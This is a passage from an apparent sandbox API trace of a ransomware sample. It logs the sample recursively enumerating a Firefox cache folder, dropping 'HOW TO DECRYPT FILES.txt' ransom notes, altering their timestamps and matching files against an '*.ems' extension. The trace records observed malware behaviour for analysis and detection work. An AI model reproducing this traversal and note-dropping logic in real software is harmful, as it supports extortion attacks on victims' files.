cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.232] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.232] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.232] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.232] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.232] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8266, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="71469d01", cAlternateFileName="")) returned 1 [0086.232] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="71469d01") returned 1 [0086.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="71469d01") returned 1 [0086.232] lstrcmpiA (lpString1="", lpString2="71469d01") returned -1 [0086.232] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*.*") returned="*.*" [0086.232] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\" [0086.232] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\") returned="" [0086.232] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\HOW TO DECRYPT FILES.txt" [0086.232] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\how to decrypt files.txt")) returned 0xffffffff [0086.233] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.253] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.253] CloseHandle (hObject=0xa8) returned 1 [0086.254] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\", lpString2="71469d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01" [0086.254] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01", pszSpec="*.ems") returned 0 [0086.254] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8266, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="71469d01", cAlternateFileName="")) returned 0 [0086.254] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.254] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="08", cAlternateFileName="")) returned 0 [0086.254] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.254] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x0, cFileName="E", cAlternateFileName="")) returned 1 [0086.254] lstrcmpA (lpString1=".", lpString2="E") returned -1 [0086.254] lstrcmpA (lpString1="..", lpString2="E") returned -1 [0086.254] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.254] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E" [0086.254] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.255] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.255] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.255] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.255] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.255] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="69", cAlternateFileName="")) returned 1 [0086.255] lstrcmpA (lpString1=".", lpString2="69") returned -1 [0086.255] lstrcmpA (lpString1="..", lpString2="69") returned -1 [0086.255] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*.*") returned="*.*" [0086.255] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\", lpString2="69" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69" [0086.255] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.256] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.256] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.256] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.256] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.256] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb80063b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10d22, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="885EEd01", cAlternateFileName="")) returned 1 [0086.256] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.256] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="885EEd01") returned 1 [0086.256] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="885EEd01") returned 1 [0086.256] lstrcmpiA (lpString1="", lpString2="885EEd01") returned -1 [0086.256] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*.*") returned="*.*" [0086.256] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\" [0086.256] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\") returned="" [0086.256] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\HOW TO DECRYPT FILES.txt" [0086.256] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\how to decrypt files.txt")) returned 0xffffffff [0086.257] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.259] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.259] CloseHandle (hObject=0xa8) returned 1 [0086.259] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\", lpString2="885EEd01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01" [0086.260] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01", pszSpec="*.ems") returned 0 [0086.260] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb80063b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10d22, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="885EEd01", cAlternateFileName="")) returned 0 [0086.260] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.260] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="69", cAlternateFileName="")) returned 0 [0086.260] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.260] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0x0, cFileName="F", cAlternateFileName="")) returned 1 [0086.260] lstrcmpA (lpString1=".", lpString2="F") returned -1 [0086.260] lstrcmpA (lpString1="..", lpString2="F") returned -1 [0086.260] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.260] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="F" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F" [0086.260] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.262] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.262] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.262] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.262] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.262] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="23", cAlternateFileName="")) returned 1 [0086.262] lstrcmpA (lpString1=".", lpString2="23") returned -1 [0086.262] lstrcmpA (lpString1="..", lpString2="23") returned -1 [0086.262] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*.*") returned="*.*" [0086.262] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\", lpString2="23" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23" [0086.262] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.263] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.263] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.263] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.263] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.263] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf888, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7E0FEd01", cAlternateFileName="")) returned 1 [0086.263] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.263] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7E0FEd01") returned 1 [0086.263] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7E0FEd01") returned 1 [0086.263] lstrcmpiA (lpString1="", lpString2="7E0FEd01") returned -1 [0086.263] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*.*") returned="*.*" [0086.263] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\" [0086.263] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\") returned="" [0086.263] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\HOW TO DECRYPT FILES.txt" [0086.263] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\how to decrypt files.txt")) returned 0xffffffff [0086.263] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.265] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, 